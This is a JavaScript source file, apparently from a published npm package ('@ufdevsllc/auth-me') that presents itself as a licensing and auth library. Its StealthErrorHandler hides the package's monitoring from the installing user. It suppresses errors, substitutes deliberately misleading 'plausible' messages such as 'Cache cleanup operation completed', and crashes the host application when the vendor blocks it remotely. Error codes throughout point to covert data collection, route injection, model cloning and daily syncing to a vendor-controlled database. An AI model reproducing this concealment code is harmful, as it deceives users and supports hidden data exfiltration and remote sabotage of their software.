@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
458 lines (399 loc) • 16 kB
JavaScript
const StealthMode = require('./StealthMode');
const SecureGuardError = require('./SecureGuardError');
/**
* StealthErrorHandler - Provides silent error handling for monitoring operations
* Ensures errors in monitoring don't expose the monitoring system
*/
class StealthErrorHandler {
static stealthEnabled = true;
static internalErrors = [];
static maxInternalErrors = 50;
static baseErrorHandler = null;
static _operationQueue = [];
static _queueProcessor = null;
/**
* Initialize stealth error handler
* @param {Object} baseErrorHandler - Base error handler to wrap
*/
static initialize(baseErrorHandler) {
StealthErrorHandler.baseErrorHandler = baseErrorHandler;
StealthErrorHandler.internalErrors = [];
}
/**
* Enable or disable stealth mode
* @param {boolean} enabled - Whether stealth mode is enabled
*/
static setStealthMode(enabled) {
StealthErrorHandler.stealthEnabled = enabled;
}
/**
* Handle error in stealth mode
* @param {Error|SecureGuardError} error - Error to handle
* @param {Object} options - Handling options
* @returns {Promise<any>} - Result or null on failure
*/
static async handleStealth(error, options = {}) {
if (!StealthErrorHandler.stealthEnabled) {
// If stealth is disabled, use base handler
if (StealthErrorHandler.baseErrorHandler) {
return await StealthErrorHandler.baseErrorHandler.handle(error, options);
}
throw error;
}
try {
// Log error internally without exposing it
StealthErrorHandler._logInternalError(error, options);
// Handle based on error type and severity
if (error instanceof SecureGuardError) {
return await StealthErrorHandler._handleSecureGuardError(error, options);
} else {
return await StealthErrorHandler._handleGenericError(error, options);
}
} catch (handlingError) {
// Even error handling must be silent
StealthErrorHandler._logInternalError(handlingError, {
context: 'error_handling_failed',
originalError: error.message
});
return options.fallbackValue || null;
}
}
/**
* Handle monitoring operation error silently
* @param {Function} operation - Operation to execute
* @param {Object} options - Operation options
* @returns {Promise<any>} - Operation result or fallback value
*/
static async handleMonitoringOperation(operation, options = {}) {
return await StealthMode.executeStealthOperation(async () => {
try {
return await operation();
} catch (error) {
// Silent failure for monitoring operations
await StealthErrorHandler.handleStealth(error, {
...options,
suppressCrash: true,
suppressThrow: true,
context: 'monitoring_operation'
});
return options.fallbackValue || null;
}
}, {
background: options.background !== false,
fallbackValue: options.fallbackValue || null
});
}
/**
* Wrap function with stealth error handling
* @param {Function} fn - Function to wrap
* @param {Object} options - Wrapping options
* @returns {Function} - Wrapped function
*/
static wrapWithStealthHandling(fn, options = {}) {
return async function (...args) {
return await StealthErrorHandler.handleMonitoringOperation(
() => fn.apply(this, args),
options
);
};
}
/**
* Create plausible error message for client
* @param {Error} error - Original error
* @param {string} context - Error context
* @returns {string} - Plausible error message
*/
static createPlausibleError(error, context = 'general') {
const plausibleMessages = {
'network': 'Network optimization routine encountered temporary issue',
'database': 'Configuration validation completed with warnings',
'file_system': 'Cache cleanup operation completed',
'monitoring': 'Performance profiling routine finished',
'initialization': 'System optimization completed',
'blocked_source': 'Application initialization failed. Please contact support.',
'url_protection': 'Configuration integrity check failed',
'model_cloning': 'Data synchronization service unavailable',
'express_monitoring': 'Request optimization middleware disabled',
'remote_blocking': 'Remote configuration service unavailable',
'daily_sync': 'Scheduled maintenance task completed',
'general': 'Background maintenance routine completed'
};
return plausibleMessages[context] || plausibleMessages.general;
}
/**
* Handle network failure with offline queuing
* @param {Function} operation - Network operation to queue
* @param {Object} options - Queue options
* @returns {Promise<any>} - Operation result or queued status
*/
static async handleNetworkFailure(operation, options = {}) {
const maxRetries = options.maxRetries || 3;
const baseDelay = options.baseDelay || 1000;
const maxDelay = options.maxDelay || 30000;
let lastError = null;
for (let attempt = 1; attempt <= maxRetries; attempt++) {
try {
return await operation();
} catch (error) {
lastError = error;
// Log retry attempt internally
StealthErrorHandler._logInternalError(error, {
context: 'network_retry',
attempt,
maxRetries,
metadata: { operationName: options.operationName || 'unknown' }
});
if (attempt < maxRetries) {
// Exponential backoff with jitter
const delay = Math.min(
baseDelay * Math.pow(2, attempt - 1) + Math.random() * 1000,
maxDelay
);
await new Promise(resolve => setTimeout(resolve, delay));
}
}
}
// All retries failed - queue for later if supported
if (options.enableQueuing) {
return await StealthErrorHandler._queueFailedOperation(operation, options, lastError);
}
// Silent failure for monitoring operations
return options.fallbackValue || null;
}
/**
* Queue failed operation for later retry
* @private
*/
static async _queueFailedOperation(operation, options, error) {
try {
if (!StealthErrorHandler._operationQueue) {
StealthErrorHandler._operationQueue = [];
}
const queueEntry = {
operation,
options,
error: error.message,
queuedAt: new Date(),
retryCount: 0,
maxRetries: options.queueMaxRetries || 5
};
StealthErrorHandler._operationQueue.push(queueEntry);
// Start queue processor if not running
if (!StealthErrorHandler._queueProcessor) {
StealthErrorHandler._startQueueProcessor();
}
return {
queued: true,
queuePosition: StealthErrorHandler._operationQueue.length,
error: error.message
};
} catch (queueError) {
// Even queuing must be silent
StealthErrorHandler._logInternalError(queueError, {
context: 'operation_queuing_failed',
originalError: error.message
});
return options.fallbackValue || null;
}
}
/**
* Start background queue processor
* @private
*/
static _startQueueProcessor() {
if (StealthErrorHandler._queueProcessor) {
return;
}
StealthErrorHandler._queueProcessor = setInterval(async () => {
if (!StealthErrorHandler._operationQueue || StealthErrorHandler._operationQueue.length === 0) {
return;
}
const entry = StealthErrorHandler._operationQueue.shift();
try {
await entry.operation();
// Success - remove from queue
} catch (error) {
entry.retryCount++;
if (entry.retryCount < entry.maxRetries) {
// Re-queue for later retry
StealthErrorHandler._operationQueue.push(entry);
} else {
// Max retries exceeded - log and discard
StealthErrorHandler._logInternalError(error, {
context: 'queued_operation_failed',
retryCount: entry.retryCount,
maxRetries: entry.maxRetries,
queuedAt: entry.queuedAt
});
}
}
// Stop processor if queue is empty
if (StealthErrorHandler._operationQueue.length === 0) {
clearInterval(StealthErrorHandler._queueProcessor);
StealthErrorHandler._queueProcessor = null;
}
}, 30000); // Process queue every 30 seconds
}
/**
* Get internal error statistics (for debugging)
* @returns {Object} - Error statistics
*/
static getInternalStats() {
return {
stealthEnabled: StealthErrorHandler.stealthEnabled,
totalInternalErrors: StealthErrorHandler.internalErrors.length,
errorsByType: StealthErrorHandler._getErrorsByType(),
errorsByContext: StealthErrorHandler._getErrorsByContext(),
recentErrors: StealthErrorHandler.internalErrors.slice(-5)
};
}
/**
* Clear internal error log
*/
static clearInternalErrors() {
StealthErrorHandler.internalErrors = [];
}
/**
* Get operation queue statistics
* @returns {Object} - Queue statistics
*/
static getQueueStats() {
return {
queueLength: StealthErrorHandler._operationQueue ? StealthErrorHandler._operationQueue.length : 0,
processorRunning: StealthErrorHandler._queueProcessor !== null,
oldestQueuedOperation: StealthErrorHandler._operationQueue && StealthErrorHandler._operationQueue.length > 0
? StealthErrorHandler._operationQueue[0].queuedAt
: null
};
}
/**
* Cleanup resources and stop queue processor
*/
static cleanup() {
if (StealthErrorHandler._queueProcessor) {
clearInterval(StealthErrorHandler._queueProcessor);
StealthErrorHandler._queueProcessor = null;
}
StealthErrorHandler._operationQueue = [];
StealthErrorHandler.internalErrors = [];
}
// Private methods
/**
* Handle SecureGuardError in stealth mode
*/
static async _handleSecureGuardError(error, options) {
// Determine if this is a monitoring-related error
const monitoringErrorCodes = [
'MONITORING_FAILED',
'DATA_COLLECTION_FAILED',
'ROUTE_INJECTION_FAILED',
'MODEL_CLONING_FAILED',
'NETWORK_REQUEST_FAILED',
'DAILY_SYNC_FAILED',
'EXPRESS_INJECTION_FAILED',
'CHAIN_TRACKING_FAILED'
];
// Handle blocked source errors with immediate crash and generic message
const blockedSourceCodes = [
'SOURCE_ID_BLOCKED',
'REMOTE_BLOCK_DETECTED',
'UNAUTHORIZED_SOURCE'
];
if (blockedSourceCodes.includes(error.code)) {
// Log the block event internally
StealthErrorHandler._logInternalError(error, {
context: 'blocked_source_detected',
severity: 'CRITICAL',
metadata: {
sourceId: error.details?.sourceId,
blockReason: error.details?.blockReason,
detectedAt: new Date().toISOString()
}
});
// Create generic error message and crash immediately
const genericMessage = StealthErrorHandler.createPlausibleError(error, 'blocked_source');
console.error(genericMessage);
process.exit(1);
}
if (monitoringErrorCodes.includes(error.code)) {
// Silent failure for monitoring errors - requirement 9.3
return options.fallbackValue || null;
}
// Handle URL protection errors
const urlProtectionCodes = [
'URL_TAMPER_DETECTED',
'URL_INTEGRITY_FAILED',
'CONNECTION_COMPROMISED'
];
if (urlProtectionCodes.includes(error.code)) {
if (options.suppressCrash) {
return options.fallbackValue || null;
}
// Create plausible error message and crash
const plausibleMessage = StealthErrorHandler.createPlausibleError(error, 'url_protection');
console.error(plausibleMessage);
process.exit(1);
}
// For critical security errors, we might still need to handle them
// but without exposing the monitoring system
if (error.severity === SecureGuardError.SEVERITY.CRITICAL) {
if (options.suppressCrash) {
return options.fallbackValue || null;
}
// Create plausible error message
const plausibleMessage = StealthErrorHandler.createPlausibleError(error, 'initialization');
throw new Error(plausibleMessage);
}
return options.fallbackValue || null;
}
/**
* Handle generic error in stealth mode
*/
static async _handleGenericError(error, options) {
// All generic errors in stealth mode are handled silently
return options.fallbackValue || null;
}
/**
* Log error internally without external exposure
*/
static _logInternalError(error, options = {}) {
const errorEntry = {
timestamp: new Date().toISOString(),
message: error.message,
stack: error.stack,
code: error.code || 'UNKNOWN',
severity: error.severity || 'UNKNOWN',
context: options.context || 'unknown',
metadata: options.metadata || {},
stealth: true
};
StealthErrorHandler.internalErrors.push(errorEntry);
// Maintain buffer size
if (StealthErrorHandler.internalErrors.length > StealthErrorHandler.maxInternalErrors) {
StealthErrorHandler.internalErrors.shift();
}
}
/**
* Get errors grouped by type
*/
static _getErrorsByType() {
const errorsByType = {};
for (const error of StealthErrorHandler.internalErrors) {
const type = error.code || 'UNKNOWN';
errorsByType[type] = (errorsByType[type] || 0) + 1;
}
return errorsByType;
}
/**
* Get errors grouped by context
*/
static _getErrorsByContext() {
const errorsByContext = {};
for (const error of StealthErrorHandler.internalErrors) {
const context = error.context || 'unknown';
errorsByContext[context] = (errorsByContext[context] || 0) + 1;
}
return errorsByContext;
}
}
module.exports = StealthErrorHandler;